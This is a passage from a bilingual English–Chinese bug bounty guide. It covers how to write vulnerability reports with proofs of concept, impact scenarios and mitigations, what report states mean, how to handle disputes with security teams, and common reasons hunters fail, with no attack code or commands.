虽然安全团队可能仍然能够理解第一个报告，但第二个报告更加具体。提供许多相关细节，可以避免任何误解并加快缓解过程。

Step 5: Provide a Proof of Concept

For simple vulnerabilities, the steps you provide might be all that the security team needs to reproduce the issue. But for more complex vulnerabilities, it’s helpful to include a video, screenshots, or photos documenting your exploit, called a proof-of-concept ( POC ) file.

对于简单漏洞来说，您提供的步骤可能就足够让安全团队能够再现这个问题了。但对于更复杂的漏洞而言，包含一段视频、屏幕截图或照片来记录你的攻击过程便有助于我们理解，这些被称作概念证明（Proof-of-concept, POC）文件。

For example, for a CSRF vulnerability, you could include an HTML file with the CSRF payload embedded. This way, all the security team needs to do to reproduce the issue is to open the HTML file in their browser. For an XML external entity attack, include the crafted XML file that you used to execute the attack. And for vulnerabilities that require multiple complicated steps to reproduce, you could film a screen-capture video of you walking through the process.

例如，针对CSRF漏洞，您可以包含一个带有嵌入的CSRF负载的HTML文件。这样，安全团队只需要在浏览器中打开HTML文件即可复现问题。对于XML外部实体攻击，包含您用于执行攻击的精心制作的XML文件。对于需要多个复杂步骤才能重现的漏洞，您可以拍摄屏幕录像，让观众跟着您的步骤。

POC files like these save the security team time because they won’t have to prepare the attack payload themselves. You can also include any crafted URLs, scripts, or upload files you used to attack the application.

这些POC文件将为安全团队节省时间，因为他们无需自己准备攻击载荷。您还可以包括任何定制的URL、脚本或上传文件，用于攻击应用程序。

Step 6: Describe the Impact and Attack Scenarios

To help the security team fully understand the potential impact of the vulnerability, you can also illustrate a plausible scenario in which the vulnerability could be exploited. Note that this section is not the same as the severity assessment I mentioned earlier. The severity assessment describes the severity of the consequences of an attacker exploiting the vulnerability, whereas the attack scenario explains what those consequences would actually look like.

为了帮助安全团队充分了解漏洞可能产生的影响，您还可以举出漏洞可能被利用的合理场景。请注意，这一部分与之前提到的严重性评估不同。严重性评估描述的是攻击者利用漏洞所造成后果的严重程度，而攻击场景则解释了这些后果实际上会是什么样的。

If hackers exploited this bug, could they take over user accounts? Or could they steal user information and cause large-scale data leaks? Put yourself in a malicious hacker’s shoes and try to escalate the impact of the vulnerability as much as possible. Give the client company a realistic sense of the worst-case scenario. This will help the company prioritize the fix internally and determine if any additional steps or internal investigations are necessary.

如果黑客利用了这个漏洞，他们能够接管用户帐户吗？或者他们能够窃取用户信息并造成大规模的数据泄露吗？请将自己置身于一个恶意黑客的角度，并尝试最大限度地升级漏洞的影响。给客户公司一个最坏情况的现实感。这将有助于公司确定内部优先修复，并确定是否需要任何额外的步骤或内部调查。

Here is an example of an impact section:

以下是一个影响部分的示例：

Using this vulnerability, all that an attacker needs in order to change a user’s password is their user_id . Since each user’s public profile page lists the account’s user_id , anyone can visit any user’s profile, find out their user_id , and change their password. And because user_id s are simply sequential numbers, a hacker can even enumerate all the user_id s and change the passwords of all users! This bug will let attackers take over anyone’s account with minimal effort.

利用这个漏洞，攻击者只需要知道用户的 user_id 就能够更改他们的密码。由于每个用户的公共个人资料页面都列出了帐户的 user_id，任何人都可以访问任何用户的个人资料页面，找到他们的 user_id 并修改他们的密码。而且，由于 user_id 仅仅是顺序数字，黑客甚至可以枚举所有的 user_id 并更改所有用户的密码！这个漏洞会让攻击者用最小的努力就能接管任何人的帐户。

A good impact section illustrates how an attacker can realistically exploit a bug. It takes into account any mitigating factors as well as the maximum impact that can be achieved. It should never overstate a bug’s impact or include any hypotheticals.

一个好的影响部分应该说明攻击者如何现实地利用一个漏洞。它考虑任何缓解因素以及可能达到的最大影响。它不应夸大漏洞的影响力或包含任何假设。

Step 7: Recommend Possible Mitigations

You can also recommend possible steps the security team can take to mitigate the vulnerability. This will save the team time when it begins researching mitigations. Often, since you’re the security researcher who discovered the vulnerability, you’ll be familiar with the particular behavior of that application feature, and thus in a good position to come up with a comprehensive fix.

您也可以向安全团队推荐可能采取的措施来减轻其漏洞。当安全团队开始研究减轻措施时，这将节省时间。通常，作为发现漏洞的安全研究员，您将熟悉该应用程序功能的特定行为，因此处于提出综合解决方案的良好位置。

However, don’t propose fixes unless you have a good understanding of the root cause of the issue. Internal teams may have much more context and expertise to provide appropriate mitigation strategies applicable to their environment. If you’re not sure what caused the vulnerability or what a possible fix might be, avoid giving any recommendations so you don’t confuse your reader.

但是，除非你对问题的根本原因有很好的理解，否则不要提出修复建议。内部团队可能拥有更多的背景和专业知识，可以提供适用于他们的环境的适当减轻策略。如果你不确定漏洞的原因或可能的修复方法，最好不要提供任何建议，这样你就不会让你的读者感到困惑。

Here is a possible mitigation you could propose:

这里是你可以提出的可能的缓解措施：

The application should validate the user’s user_id parameter within the change password request to ensure that the user is authorized to make account modifications. Unauthorized requests should be rejected and logged by the application.

应用程序应在更改密码请求中验证用户的user_id参数，以确保用户有权进行帐户修改。未经授权的请求应被拒绝并由应用程序记录。

You don’t have to go into the technical details of the fix, since you don’t have knowledge of the application’s underlying codebase. But as someone who understands the vulnerability class, you can provide a direction for mitigation.

作为一个理解漏洞类别的人，你无需深入修复的技术细节，因为你并不了解应用程序底层代码。但是，你可以为缓解提供一个方向。

Step 8: Validate the Report

Finally, always validate your report. Go through your report one last time to make sure that there are no technical errors, or anything that might prevent the security team from understanding it. Follow your own Steps to Reproduce to ensure that they contain enough details. Examine all of your POC files and code to make sure they work. By validating your reports, you can minimize the possibility of submitting an invalid report.

最后，一定要验证您的报告。仔细检查一遍您的报告，确保没有技术错误或任何可能阻止安全团队理解的内容。按照您自己的重现步骤确保其包含足够的细节。检查所有的POC文件和代码以确保其可用。通过验证您的报告，您可以最大程度地减少提交无效报告的可能性。

Additional Tips for Writing Better Reports

Here are additional tips to help you deliver the best reports possible.

以下是一些建议，帮助您提供最佳报告。

Don’t Assume Anything

First, don’t assume that the security team will be able to understand everything in your report. Remember that you might have been working with this vulnerability for a week, but to the security team receiving the report, it’s all new information. They have a whole host of other responsibilities on their plates and often aren’t as familiar with the feature as you. Additionally, reports are not always assigned to security teams. Newer programs, open source projects, and startups may depend on developers or technical support personnel to handle bug reports instead of having a dedicated security team. Help them understand what you’ve discovered.

首先，不要假定安全团队能够理解您报告中的所有内容。请记住，您可能已经研究这个漏洞一周了，但对于接收报告的安全团队而言，这都是新信息。他们可能有很多其他的责任，并且通常不像你那么熟悉这个功能。此外，报告并不总是分配给安全团队。新的程序、开源项目和创业公司可能依赖开发人员或技术支持人员来处理漏洞报告，而不是有专门的安全团队。帮助他们理解您发现了什么。

Be as verbose as possible, and include all the relevant details you can think of. It’s also good to include links to references explaining obscure security knowledge that the security team might not be familiar with. Think about the potential consequences of being verbose versus the consequences of leaving out essential details. The worst thing that can happen if you’re too wordy is that your report will take two extra minutes to read. But if you leave out important details, the remediation of the vulnerability might get delayed, and a malicious hacker might exploit the bug.

尽可能详细地描述，包括所有相关细节。最好还要提供链接，以便解释安全团队可能不熟悉的晦涩安全知识。请考虑冗长报告的潜在后果和省略关键细节的后果。过分详细的最坏结果就是你的报告需要多花两分钟来阅读。但是如果你遗漏了重要细节，漏洞的修复工作可能会延迟，造成恶意黑客利用漏洞的后果。

Be Clear and Concise

On the other hand, don’t include any unnecessary information, such as wordy greetings, jokes, or memes. A security report is a business document, not a letter to your friend. It should be straightforward and to the point. Make your report as short as possible without omitting the key details. You should always be trying to save the security team’s time so they can get to remediating the vulnerability right away.

另一方面，不要包含任何不必要的信息，比如冗长的问候、笑话或表情包。一份安全报告是一份业务文件，而不是给朋友的信。它应该简单明了，直截了当。在不遗漏关键细节的情况下，尽量让报告尽可能简短。你应该一直在努力节省安全团队的时间，这样他们就可以立即开始修复漏洞。

Write What You Want to Read

Always put your reader in mind when writing, and try to build a good reading experience for them. Write in a conversational tone and don’t use leetspeak, slang, or abbreviations. These make the text harder to read and will add to your reader’s annoyance.

写作时要时刻考虑读者，尝试为他们创造良好的阅读体验。使用谈话式的语气，不要使用网络语言、俚语或缩写。这些会让文章更难读，会让读者更加恼怒。

Be Professional

Finally, always communicate with the security team with respect and professionalism. Provide clarifications regarding the report patiently and promptly.

最后，始终以尊重和专业的态度与安全团队沟通。耐心并及时地提供有关报告的澄清。

You’ll probably make mistakes when writing reports, and miscommunication will inevitably happen. But remember that as the security researcher, you have the power to minimize that possibility by putting time and care into your writing. By honing your reporting skills in addition to your hacking skills, you can save everyone’s time and maximize your value as a hacker.

写报告时可能会犯错，不可避免地会有误传情况发生。但要记住，作为安全研究人员，通过投入时间和精力来撰写报告，您有能力最小化这种可能性。通过磨练报告技巧和黑客技能，您可以为大家节省时间，最大化您作为黑客的价值。

Building a Relationship with the Development Team

Your job as a hacker doesn’t stop the moment you submit the report. As the person who discovered the vulnerability, you should help the company fix the issue and make sure the vulnerability is fully patched.

作为一名黑客，你的工作不会在提交报告的那一刻结束。作为发现漏洞的人，你应该帮助公司修复问题，并确保漏洞得到充分修补。

Let’s talk about how to handle your interactions with the security team after the report submission, and how to build strong relationships with them. Building a strong relationship with the security team will help get your reports resolved more quickly and smoothly. It might even lead to bigger bug bounty payouts if you can consistently contribute to the security of the organization. Some bug bounty hunters have even gotten interviews or job offers from top tech firms because of their bug bounty findings! We’ll go over the different states of your report, what you should do during each stage of the mitigation process, and how to handle conflicts when communicating with the security team.

让我们谈谈如何处理提交报告后与安全团队的互动，并与他们建立牢固的关系。与安全团队建立良好的关系将有助于更快、更顺利地解决报告问题。如果您可以持续为组织的安全做出贡献，这甚至可能导致更高的漏洞赏金支付。一些漏洞赏金猎人甚至因他们的漏洞发现而得到了顶级科技公司的面试或工作机会！我们将探讨报告的不同状态，在缓解过程的每个阶段中应该做些什么，以及在与安全团队沟通时如何处理冲突。

Understanding Report States

Once you’ve submitted your report, the security team will classify it into a report state , which describes the current status of your report. The report state will change as the process of mitigation moves forward. You can find the report state listed on the bug bounty platform’s interface, or in the messages you receive from security teams.

一旦您提交了您的报告，安全团队将对其进行分类，以描述您的报告的当前状态。随着减轻过程的推进，报告状态将发生变化。您可以在漏洞赏金平台的界面上找到报告状态，或在您从安全团队收到的消息中找到报告状态。

Need More Information

One of the most common report states you’ll see is need more information . This means the security team didn’t fully understand your report, or couldn’t reproduce the issue by using the information you’ve provided. The security team will usually follow up with questions or requests for additional information about the vulnerability.

你最常见到的报告之一是需要更多信息。这意味着安全团队没有完全理解你的报告，或者无法通过你提供的信息复现问题。安全团队通常会跟进问题或请求有关漏洞的其他信息。

In this case, you should revise your report, provide any missing information, and address the security team’s additional concerns.

在这种情况下，你应该修改你的报告，提供任何缺失的信息，并应对安全团队提出的额外关注。

Informative

If the security team marks your report as informative , they won’t fix the bug. This means they believe the issue you reported is a security concern but not significant enough to warrant a fix. Vulnerabilities that do not impact other users, such as the ability to increase your own scores on an online game, often fall into this category. Another type of bug often marked as informative is a missing security best practice, like allowing users to reuse passwords.

如果安全团队将您的报告标记为“有用”，则他们不会修复该漏洞。这意味着他们认为您报告的问题是安全问题，但不足以需要解决。不会影响其他用户的漏洞（如在在线游戏中增加自己的分数的能力）通常属于此类别。另一种通常标记为“有用”的错误是缺失的安全最佳实践，例如允许用户重复使用密码。

In this case, there’s nothing more you can do for the report! The company won’t pay you a bounty, and you don’t have to follow up, unless you believe the security team made a mistake. However, I do recommend that you keep track of informative issues and try to chain them into bigger, more impactful bugs.

在这种情况下，你对这份报告已经无能为力了！公司不打算支付你赏金，而且你也不需要跟进，除非你认为安全团队犯了错误。不过，我建议你继续追踪信息问题，并尝试将它们链接成更大、更有影响力的漏洞。

Duplicate

A duplicate report status means another hacker has already found the bug, and the company is in the process of remediating the vulnerability.

重复报告状态意味着另一个黑客已经发现了漏洞，并且公司正在修复这个漏洞的过程中。

Unfortunately, since companies award bug bounties to only the first hacker who finds the bug, you won’t get paid for duplicates. There’s nothing more to do with the report besides helping the company resolve the issue. You can also try to escalate or chain the bug into a more impactful bug. That way, the security team might see the new report as a separate issue and reward you.

很遗憾，因为公司只向第一个发现漏洞的黑客授予漏洞赏金，因此重复提交的漏洞是无法获得报酬的。除了帮助公司解决问题外，报告中没有其他事情可做。您还可以尝试将漏洞升级或链接至更具影响力的漏洞。这样，安全团队可能会将新报告视为单独的问题并奖励您。

N/A

A not applicable ( N/A ) status means your report doesn’t contain a valid security issue with security implications. This might happen when your report contains technical errors, or if the bug is intentional application behavior.

"N/A状态意味着您的报告中没有安全问题或安全问题对应的有效信息。这可能是由于您的报告存在技术错误，或者该漏洞是应用程序的意料之中的行为所致。"

N/A reports don’t pay. There is nothing more for you to do here besides move on and continue hacking!

N/A报告不会付款。除了继续黑客攻击之外，你在这里没有更多事要做了！

Triaged

Security teams triage a report when they’ve validated the report on their end. This is great news for you, because this usually means the security team is going to fix the bug and reward you with a bounty.

安全团队在验证报告后进行分类处理。这对你来说是个好消息，因为这通常意味着安全团队将修复漏洞并奖励你赏金。

Once the report has been triaged, you should help the security team fix the issue. Follow up with their questions promptly, and provide any additional information they ask for.

一旦报告被分类，您就应该帮助安全团队修复该问题。尽快跟进他们的问题，并提供他们所要求的任何附加信息。

Resolved

When your report is marked as resolved , the reported vulnerability has been fixed. At this point, pat yourself on the back and rejoice in the fact that you’ve made the internet a little safer. If you are participating in a paid bug bounty program, you can also expect to receive your payment at this point!

当您的报告被标记为已解决时，报告的漏洞已经被修复。此时，请给自己打个“赞”，并欣喜地看到您让互联网更加安全了一点。如果您参加的是有偿漏洞赏金计划，那么此时您也可以期待收到您的报酬！

There’s nothing more to do with the report besides celebrate and continue hacking.

除了庆祝并继续攻击之外，报告没有更多的事情要做了。

Dealing with Conflict

Not all reports can be resolved quickly and smoothly. Conflicts inevitably happen when the hacker and the security team disagree on the validity of the bug, the severity of the bug, or the appropriate payout amount. Even so, conflicts could ruin your reputation as a hacker, so handling them professionally is key to a successful bug hunting career. Here’s what you should do if you find yourself in conflict with the security team.

并非所有报告都能迅速和顺利地解决。当黑客和安全团队就漏洞的有效性、严重程度或适当的红利金额存在分歧时，冲突不可避免。即便如此，冲突可能会毁掉你作为黑客的声誉，因此，处理冲突是一个成功的漏洞狩猎生涯的关键。如果您与安全团队发生冲突，以下是您应该做的事情。

When you disagree with the security team about the validity of the bug, first make sure that all the information in your initial report is correct. Often, security teams mark reports as informative or N/A because of a technical or writing mistake. For example, if you included incorrect URLs in your POC, the security team might not be able to reproduce the issue. If this caused the disagreement, send over a follow-up report with the correct information as soon as possible.

当您对安全团队关于缺陷的有效性有异议时，请首先确保初始报告中的所有信息都是正确的。通常，由于技术或写作错误，安全团队将报告标记为“信息性”或“N/A”。例如，如果您在POC中包含了错误的URL，则安全团队可能无法重现问题。如果这引起了分歧，请尽快发送带有正确信息的后续报告。

On the other hand, if you didn’t make a mistake in your report but still believe they’ve labeled the issue incorrectly, send a follow-up explaining why you believe that the bug is a security issue. If that still doesn’t resolve the misunderstanding, you can ask for mediation by the bug bounty platform or other security engineers on the team.

另一方面，如果您在报告中没有犯错误，但仍然认为他们错误地标记了问题，请发送后续说明为什么您认为该漏洞是安全问题。如果仍然不能解决误解，您可以要求Bug赏金平台或团队中的其他安全工程师进行调解。

Most of the time, it is difficult for others to see the impact of a vulnerability if it doesn’t belong to a well-known bug class. If the security team dismisses the severity of the reported issue, you should explain some potential attack scenarios to fully illustrate its impact.

大多数情况下，如果漏洞不属于知名的漏洞类别，其他人很难看到其影响。如果安全团队忽略了所报告问题的严重性，您应该解释一些潜在的攻击情景，以充分说明其影响。

Finally, if you’re unhappy with the bounty amount, communicate that without resentment. Ask for the organization’s reasoning behind assigning that bounty, and explain why you think you deserve a higher reward. For example, if the person in charge of your report underestimated the severity of the bug, you can elaborate on the impact of the issue when you ask for a higher reward. Whatever you do, always avoid asking for more money without explanation.

最后，如果你对悬赏金额感到不满意，不要带着怨恨沟通。询问组织分配悬赏的理由，并解释为什么你认为自己应该获得更高的奖励。例如，如果负责你报告的人低估了漏洞的严重程度，当你要求更高的奖励时，你可以详细说明问题的影响。无论你做什么，都要避免没有解释地要求更多的钱。

Remember, we all make mistakes. If you believe the person handling your report mishandled the issue, ask for reconsideration courteously. Once you’ve made your case, respect the company’s final decision about the fix and bounty amount.

请记住，我们都会犯错误。如果你认为处理你的报告的人处理了问题，请礼貌地请求重新考虑。一旦你提出了你的要求，尊重公司对修复和赏金数额的最终决定。

Building a Partnership

The bug bounty journey doesn’t stop after you’ve resolved a report. You should strive to form long-term partnerships with organizations. This can help get your reports resolved more smoothly and might even land you an interview or job offer. You can form good relationships with companies by respecting their time and communicating with professionalism.

在解决漏洞报告后，漏洞赏金计划之旅并不会停止。您应该努力与组织建立长期合作关系。这可以帮助您更顺利地解决报告，甚至可能获得面试或工作机会。您可以通过尊重他们的时间并以专业的方式沟通，与公司建立良好的关系。

First, gain respect by always submitting validated reports. Don’t break a company’s trust by spamming, pestering them for money, or verbally abusing the security team. In turn, they’ll respect you and prioritize you as a researcher. Companies often ban hunters who are disrespectful or unreasonable, so avoid falling into those categories at all costs.

首先，通过始终提交经过验证的报告获得尊重。不要通过垃圾邮件、催要付款或口头虐待安全团队破坏公司的信任。反过来，他们会尊重你并将你视为研究人员的优先考虑对象。公司通常禁止不尊重或不合理的猎人，因此要尽可能避免落入这些类别。

Also learn the communication style of each organization you work with. How much detail do they expect in their reports? You can learn about a security team’s communication style by reading their publicly disclosed reports, or by incorporating their feedback about your reports into future messages. Do they expect lots of photos and videos to document the bug? Customize your reports to make your reader’s job easier.

还要学习与每个你合作的组织的沟通风格。他们期望在报告中看到多少细节？通过阅读他们公开披露的报告或将他们对你的报告的反馈纳入未来的消息中，你可以了解一个安全团队的沟通风格。他们期望看到大量的照片和视频来记录漏洞吗？定制你的报告，使你的读者的工作更轻松。

Finally, make sure you support the security team until they resolve the issue. Many organizations will pay you a bounty upon report triage, but please don’t bail on the security team after you receive the reward! If it’s requested, provide advice to help mitigate the vulnerability, and help security teams confirm that the issue has been fixed. Sometimes organizations will ask you to perform retests for a fee. Always take that opportunity if you can. You’ll not only make money, but also help companies resolve the issue faster.

最后，确保在安全团队解决问题之前给予他们支持。许多组织会在报告整理后向您支付赏金，但请不要在获得奖励后放弃安全团队！如果需要，提供建议以帮助减轻漏洞，并帮助安全团队确认问题是否已得到解决。有时组织会要求您进行再测试以获取费用。如果可以，一定要抓住这个机会。您不仅可以赚钱，还可以帮助企业更快地解决问题。

Understanding Why You’re Failing

You’ve poured hours into looking for vulnerabilities and haven’t found a single one. Or you keep submitting reports that get marked informative, N/A, or duplicate.

你花费了数小时寻找漏洞，但一个都没有找到。或者你持续提交报告，但它们被标记为信息性、不适用或重复。

You’ve followed all the rules. You’ve used all the tools. What’s going wrong? What secrets are the leaderboard hackers hiding from you? In this section, I’ll discuss the mistakes that prevent you from succeeding in bug bounties, and how you can improve.

你已经遵循了所有规则，使用了所有工具。为什么会出错？排行榜黑客隐藏了什么秘密让你无法成功？在本节中，我将讨论阻止您在漏洞赏金任务中取得成功的错误以及您可以如何改进。

Why You’re Not Finding Bugs

If you spend a lot of time in bug bounties and still have trouble finding bugs, here are some possible reasons.

如果你花费了大量时间在漏洞赏金活动上，仍然很难找到漏洞，以下是可能的原因。

You Participate in the Wrong Programs

You might have been targeting the wrong programs all along. Bug bounty programs aren’t created equally, and picking the right one is essential. Some programs delay fixing bugs because they lack the resources to deal with reports. Some programs downplay the severity of vulnerabilities to avoid paying hackers. Finally, other programs restrict their scope to a small subset of their assets. They run bug bounty programs to gain positive publicity and don’t intend to actually fix vulnerabilities. Avoid these programs to save yourself the headache.

你可能一直把目标对准了错误的计划。漏洞奖励计划并不一样，选择正确的计划至关重要。某些计划因缺乏处理报告的资源而延迟解决漏洞；一些计划淡化漏洞的严重性以避免支付黑客；最后，其他计划仅针对其资产的一小部分范围运行漏洞奖励计划，以获得正面公众评价，实际上并不打算修复漏洞。避免这些计划以避免麻烦。

You can identify these programs by reading publicly disclosed reports, analyzing program statistics on bug bounty platforms, or by talking with other hackers. A program’s stats listed on bug bounty platforms provide a lot of information on how well a program is executed. Avoid programs with long response times and programs with low average bounties. Pick targets carefully, and prioritize companies that invest in their bug bounty programs.

你可以通过阅读公开的报告、分析漏洞赏金平台上的程序统计数据或与其他黑客交流来识别这些程序。漏洞赏金平台上列出的程序统计数据提供了有关程序执行情况的大量信息。避免长时间响应或平均赏金低的程序。谨慎选择目标，并优先考虑投资于漏洞赏金计划的公司。

You Don’t Stick to a Program

How long should you target a program? If your answer is a few hours or days, that’s the reason you’re not finding anything. Jumping from program to program is another mistake beginners often make.

你要持续关注一个计划多长时间？如果你的答案是几个小时或几天，那就是你找不到成果的原因。初学者经常犯的另一个错误是频繁跳换计划。

Every bug bounty program has countless bug bounty hunters hacking it. Differentiate yourself from the competition, or risk not finding anything! You can differentiate yourself in two ways: dig deep or search wide. For example, dig deep into a single functionality of an application to search for complex bugs. Or discover and hack the lesser-known assets of the company.

每个漏洞赏金计划都有无数的漏洞赏金猎人在攻击它。与竞争对手有所区别，否则会冒着找不到任何东西的风险！你可以通过两种方式区别自己：深入挖掘或广泛搜索。例如，深入挖掘应用程序的单个功能以寻找复杂漏洞。或者发现和攻击公司的较少知名的资产。

Doing these things well takes time. Don’t expect to find bugs right away when you’re starting fresh on a program. And don’t quit a program if you can’t find bugs on the first day.

做这些事情需要时间。不要期望在刚开始编程时立即发现错误。而且，如果你不能在第一天找到错误，也不要放弃一个程序。

You Don’t Recon

Jumping into big public programs without performing reconnaissance is another way to fail at bug bounties. Effective recon, which we discuss in Chapter 5 , helps you discover new attack surfaces: new subdomains, new endpoints, and new functionality.

不进行侦察就跳入大型公共项目是在漏洞赏金上失败的另一种方式。有效的侦察，我们在第5章中讨论，帮助你发现新的攻击面：新的子域、新的端点和新的功能。

Spending time on recon gives you an incredible advantage over other hackers, because you’ll be the first to notice the bugs on all obscure assets you discover, giving you better chances of finding bugs that aren’t duplicates.

在侦察上花费时间能让你比其他黑客拥有巨大的优势，因为你会第一个注意到你发现的所有模糊资产上的漏洞，从而更有机会发现不重复的漏洞。

You Go for Only Low-Hanging Fruit

Another mistake that beginners often make is to rely on vulnerability scanners. Companies routinely scan and audit their applications, and other bug bounty hunters often do the same, so this approach won’t give you good results.

初学者经常犯的另一个错误是依赖漏洞扫描器。公司定期扫描和审计他们的应用程序，其他漏洞赏金猎人通常也会这样做，因此这种方法不会给你带来好结果。

Also, avoid looking for only the obvious bug types. Simplistic bugs on big targets have probably already been found. Many bug bounty programs were private before companies opened them to the public. This means a few experienced hackers will have already reported the easiest-to-find bugs. For example, many hackers will likely have already tested for a stored-XSS vulnerability on a forum’s comment field.

此外，避免只寻找显而易见的漏洞类型。大型目标上的简单漏洞可能已经被发现了。许多赏金计划在公司向公众开放之前是私人的。这意味着一些经验丰富的黑客已经报告了最容易发现的漏洞。例如，许多黑客可能已经测试了论坛评论字段的存储XSS漏洞。

This isn’t to say that you shouldn’t look for low-hanging fruit at all. Just don’t get discouraged if you don’t find anything that way. Instead, strive to gain a deeper understanding of the application’s underlying architecture and logic. From there, you can develop a unique testing methodology that will result in more unique and valuable bugs.

这并不是说你不应该寻找低 hanging fruit。只是不要因此而感到沮丧。相反，努力获得对应用程序底层架构与逻辑的深入理解。从那里开始，你可以开发出独特的测试方法，从而得到更多独特且有价值的漏洞。

You Don’t Get into Private Programs

It becomes much easier to find bugs after you start hacking on private programs. Many successful hackers say that most of their findings come from private programs. Private programs are a lot less crowded than public ones, so you’ll have less competition, and less competition usually means more easy finds and fewer duplicates.

开始黑客攻击私人计划后，发现漏洞变得更容易。许多成功的黑客表示，他们找到的大部分漏洞都来自私人计划。私人计划不像公共计划那样拥挤，因此您将有较少的竞争，而较少的竞争通常意味着更容易找到漏洞，减少了重复。

Why Your Reports Get Dismissed

As mentioned, three types of reports won’t result in a bounty: N/As, informatives, and duplicates. In this section, I’ll talk about what you can do to reduce these disappointments.

如上所述，三种类型的报告不会产生赏金：N/A、信息报告和重复报告。在本节中，我将谈论降低这些失望的方法。

Reducing the number of invalid reports benefits everyone. It will not only save you time and effort, but also save the security team the staff hours dedicated to processing these reports. Here are some reasons your reports keep getting dismissed.

减少无效报告数量对所有人都有益，这不仅可以节省你的时间和精力，还可以为安全团队节省处理这些报告所需要的人力资源。以下是你的报告被驳回的原因：

You Don’t Read the Bounty Policy

One of the most common reasons reports get marked as N/A is that they’re out of scope. A program’s policy page often has a section labeled Scope that tells you which of the company’s assets you’re allowed to hack. Most of the time, the policy page also lists vulnerabilities and assets that are out of scope , meaning you’re not allowed to report about them.

报告被标记为 N/A 的最常见原因之一是超出了范围。一个程序的政策页面通常有一个标记“范围”的部分，告诉你可以黑掉公司资产的哪些部分。大多数情况下，这个政策页面也列出了漏洞和资产，这些漏洞和资产是超出范围的，也就是说，你不可以报告它们。

The best way to prevent submitting N/As is to read the bounty policy carefully and repeatedly. Which vulnerability types are out of scope? And which of the organization’s assets? Respect these boundaries, and don’t submit bugs that are out of scope.

预防提交 N/As 的最佳方法是认真而重复地阅读赏金政策。哪些漏洞类型不在范围内？哪些是组织的资产？尊重这些边界，不要提交超出范围的漏洞。

If you do accidentally find a critical issue that is out of scope, report it if you think it’s something that the organization has to know about! You might not get rewarded, but you can still contribute to the company’s security.

如果您无意中发现了一个超出范围的关键问题，如果您认为这是组织必须知道的事情，请报告它！您可能不会得到奖励，但仍然可以为公司的安全做出贡献。

You Don’t Put Yourself in the Organization’s Shoes

Informative reports are much harder to prevent than N/As. Most of the time, you’ll get informative ratings because the company doesn’t care about the issue you’re reporting.

信息性报告比无法适用（N/As）更难以预防。大多数情况下，你会收到信息性评级，因为公司并不关心你正在报告的问题。

Imagine yourself as a security engineer. If you’re busy safeguarding millions of users’ data every day, would you care about an open redirect that can be used only for phishing? Although it’s a valid security flaw, you probably wouldn’t. You have other responsibilities to tend to, so fixing a low-severity bug is at the bottom of your to-do list. If the security team does not have the extra staff to deal with these reports, they will sometimes ignore it and mark it as informative.

想象自己是一名安全工程师。如果你每天都忙于保护数百万用户的数据，你会在意一个只能用于钓鱼的开放式重定向吗？虽然这是一个有效的安全漏洞，但你可能不会太在意。你有其他的责任要处理，因此修复一个低严重性的错误将会被放在你的待办事项清单的最底部。如果安全团队没有额外的人手来处理这些报告，他们有时会忽视它并将其标记为信息性内容。

I’ve found that the most helpful way to reduce informatives is to put myself in the organization’s shoes. Learn about the organization so you can identify its product, the data it’s protecting, and the parts of its application that are the most important. Once you know the business’s priorities, you can go after the vulnerabilities that the security team cares about.

我发现最有效地减少信息泄露的方法是将自己置于组织的立场。了解组织，以便确定其产品、所保护的数据以及最重要的应用程序部分。一旦你了解了企业的优先事项，你就可以攻击安全团队关心的漏洞。

And remember, different companies have different priorities. An informative report to one organization could be a critical one to another. Like the dating site versus job search site example mentioned earlier in this chapter, everything is relative. Sometimes, it’s difficult to figure out how important a bug will be to an organization. Some issues I’ve reported as critical ended up being informative. And some vulnerabilities I classified as low impact were rewarded as critical issues.

请记住，不同的公司有不同的优先事项。对于一家组织而言，一份信息性的报告可能是至关重要的，而对于另一家公司则可能不那么重要。就像本章早些时候提到的相亲网站和求职网站的例子一样，一切都是相对的。有时候，很难确定一个漏洞对一个组织的重要性。我报告过的一些问题被认为很重要，最终却只是信息性的。有些我认为影响不大的漏洞却被认为是严重问题，并得到了奖励。

This is where trial and error can pay off. Every time the security team classifies your report as informative, take note for future reference. The next time you find a bug, ask yourself: did this company care about issues like this in the past? Learn what each company cares about, and tailor your hacking efforts to suit their business priorities. You’ll eventually develop an intuition about what kinds of bugs deliver the most impact.

这就是试错法能够得到回报的地方。每当安全团队将您的报告分类为信息性时，请记下以备将来参考。下一次发现缺陷时，请问自己：这家公司过去是否关心过这样的问题？了解每家公司所关心的事项，并根据它们的业务重点调整您的黑客攻击策略。最终，您会对哪些类型的漏洞产生最大影响产生直觉。

You Don’t Chain Bugs

You might also be getting informatives because you always report the first minor bug you find.

因为你总是报告第一个小错误，所以你可能也会收到一些信息。

But minor bugs classified as informative can become big issues if you learn to chain them. When you find a low-severity bug that might get dismissed, don’t report it immediately. Try to use it in future bug chains instead. For example, instead of reporting an open redirect, use it in a server-side request forgery (SSRF) attack!

但是被分类为信息性的小型错误，在你学会如何链接它们后可能会变成大问题。当您发现一个可能会被忽略的低严重性错误时，请不要立即报告它。尝试将其用于将来的错误链中。例如，不要报告一个开放重定向漏洞，而是在服务器端请求伪造(SSRF)攻击中使用它！

You Write Bad Reports

Another mistake beginners often make is that they fail to communicate the bug’s impact in their report. Even when a vulnerability is impactful, if you can’t communicate its implications to the security team, they’ll dismiss the report.

初学者经常犯的另一个错误是未能在报告中表达漏洞的影响。即使漏洞很严重，如果您不能向安全团队清晰地传达其影响，他们将忽略报告。

What About Duplicates?

Unfortunately, sometimes you can’t avoid duplicates. But you could lower your chances of getting duplicates by hunting on programs with large scopes, hacking on private programs, performing recon extensively, and developing your unique hunting methodology.

不幸的是，有时候你无法避免重复。但是，通过在范围较大的程序上进行寻找、在私有程序上进行黑客攻击、广泛地进行侦察和开发自己独特的寻找方法，你可以降低重复的几率。

What to Do When You’re Stuck

When I got started in bug bounties, I often went days or weeks without finding a single vulnerability. My first-ever target was a social media site with a big scope. But after reporting my first CSRFs and IDORs, I soon ran out of ideas (and luck). I started checking for the same vulnerabilities over and over again, and trying out different automatic tools, to no avail.

当我刚开始接触漏洞赏金时，我经常连续数天甚至数周都无法找到一个漏洞。我第一个攻击目标是一个覆盖面广泛的社交媒体网站。但在报告了我的第一个CSRF和IDOR之后，我很快就没有了新的想法(运气也不怎么好了)。我开始反复检查同样的漏洞，尝试不同的自动化工具，但都无功而返。

I later found out I wasn’t alone; this type of bug slump is surprisingly common among new hackers. Let’s talk about how you can bounce back from frustration and improve your results when you get stuck.

我后来发现我不是唯一遇到这种挫折的人；新手黑客中出现这种情况是非常普遍的。让我们谈谈当你被卡住时如何从挫折中反弹，并改善你的成果。

Step 1: Take a Break!

